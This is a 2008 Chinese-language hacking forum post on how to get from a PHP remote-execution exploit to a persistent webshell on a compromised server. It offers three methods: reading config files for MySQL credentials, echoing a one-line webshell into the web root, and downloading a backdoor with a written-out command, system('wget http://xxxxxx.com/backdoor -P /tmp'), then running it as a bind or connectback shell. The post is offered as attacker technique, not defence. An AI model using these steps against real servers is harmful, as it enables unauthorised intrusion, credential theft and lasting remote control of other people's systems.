Board logo

标题: [讨论]php remote exec to get a webshell? [打印本页]

作者: 2000gaobo    时间: 2008-7-24 17:20     标题: [讨论]php remote exec to get a webshell?

[讨论]php remote exec to get a webshell?
文章作者:xi4oyu
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

逛milw0rm的在webapp板块可能经常会看到remote exec的php exploit

怎么通过这个获得webshell呢?

1.最传统的方法,读config获得mysql的帐号密码,再backup 一个shell出来

2.直接echo 写一个 一句话到web目录,具体的权限可以通过ls -l看看 需要注意转义字符的使用


3.要是目录都不能写呢?think,为什么我们非要php的webshell呢?可以直接用wget lynx之类的get一个perl 或者c 的bindshell或者connectback shell,执行之就可以了

第三点详细写下

"system('wget http://xxxxxx.com/backdoor -P /tmp')"

wget的-P选项 指定保存的目录的,下载完你可以ls /tmp看下,一般有两个目录肯定可写的/tmp /usr/tmp推荐写/usr/tmp目录

恩,下载好了,chmod +x backdoor 一下,然后执行一下,当然如果是c写的,需要事先编译一下。
然后是bind 的自己连下,connectback的要事先监听好端口,视情况而定。


呵呵,木有技术含量阿,提供个思路罢了,大家讨论讨论其他方法
帖子68 精华0 积分3365 阅读权限100 性别男 在线时间180 小时 注册时间2006-6-19 最后登录2008-7-23 查看详细资料TOP 爱要怎么说出口

pt007
荣誉会员





欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2